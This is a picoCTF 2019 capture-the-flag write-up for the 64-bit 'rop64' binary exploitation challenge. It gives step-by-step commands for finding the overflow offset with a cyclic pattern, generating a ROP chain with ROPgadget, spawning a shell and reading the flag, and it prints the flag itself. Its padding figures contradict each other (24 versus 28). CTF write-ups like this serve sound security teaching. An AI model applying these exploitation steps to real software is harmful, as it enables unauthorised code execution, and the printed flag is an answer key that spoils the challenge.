PicoCTF-2019 Writeup
  • HHousen PicoCTF-2019 Writeup
  • Binary Exploitation
    • L1im1tL355
    • messy-malloc
    • OverFlow 2
    • CanaRy
    • NewOverFlow-1
    • NewOverFlow-2
    • sice_cream
    • seed-sPRiNG
    • leap-frog
    • GoT
    • rop64
    • rop32
    • Ghost_Diary
    • zero_to_hero
    • Challenge Name
    • Heap overflow
    • slippery-shellcode
    • AfterLife
    • SecondLife
    • stringzz
  • Cryptography
    • la cifra de
    • b00tl3gRSA2
    • b00tl3gRSA3
    • AES-ABC
    • john_pollard
    • b00tl3gRSA2
    • waves over lambda
  • Forensics
    • What Lies Within
    • m00nwalk
    • shark on wire 1
    • shark on wire 2
    • Glory of the Garden
    • pastaAAA
    • Investigative Reversing 0
    • Investigative Reversing 1
    • extensions
    • investigation_encoded_1
    • Investigative Reversing 2
    • investigation_encoded_2
    • Investigative Reversing 3
    • like1000
    • Investigative Reversing 4
    • WebNet0
    • B1g_Mac
    • m00nwalk 2
    • WebNet1
    • WhitePages
    • So Meta
    • c0rrupt
  • Web Exploitation
    • Java Script Kiddie 2
    • Empire1
    • Empire2
    • cereal hacker 1
    • Empire3
    • cereal hacker 2
    • Java Script Kiddie
    • JaWT Scratchpad
    • Irish-Name-Repo 1
    • Irish-Name-Repo 2
    • Irish-Name-Repo 3
  • Reverse Engineering
    • Time's Up, Again!
    • Forky
    • droids0
    • Challenge Name
    • droids1
    • droids2
    • droids3
    • reverse_cipher
    • droids4
    • B1ll_Gat35
    • Time's Up
    • Time's Up, For the Last Time!
    • asm1
    • asm2
    • asm3
    • asm4
  • Challenge Name
Powered by GitBook
On this page
  • Problem
  • Solution
  • Flag

Was this helpful?

Edit on Git
  1. Binary Exploitation

rop64

PreviousGoTNextrop32

Last updated 4 years ago

Was this helpful?

Problem

Time for the classic ROP in 64-bit. Can you exploit this program to get a flag? You can find the program in /problems/rop64_0_4c66bec7dba72276ffa01e0ad2d6ec8f on the shell server. Source.

Solution

  1. Get Padding

    1. Run python2 -c "from pwn import *; print cyclic(1000, n=8)" > fuzz.in

    2. Start program in gdb (preferably with pwndbg extension) and run r < fuzz.in to start then x $rbp to get 0x6161616161616163: Cannot access memory at address 0x6161616161616163

    3. Run python2 -c "from pwn import *; print cyclic_find(0x6161616161616163, n=8)" to get padding of 16

    4. Add 8 to padding because right after 16 is the "saved frame/base pointer" (which is 8 bytes because 64 bit program) and we want to modify the "saved return address" which is the next address in the stack. ()

    5. So padding is 'a'*(16+8)

  2. Use to run python ROPgadget.py --binary ./vuln --rop --badbytes "0a" to get ROP chain

  3. Paste in padding of 'a'*28

  4. Run for remote execution

  5. Run cat flag.txt in the shell that spawns

Flag

picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_d4b7a298}

Program
Source
More Info
ROPgadget
script.py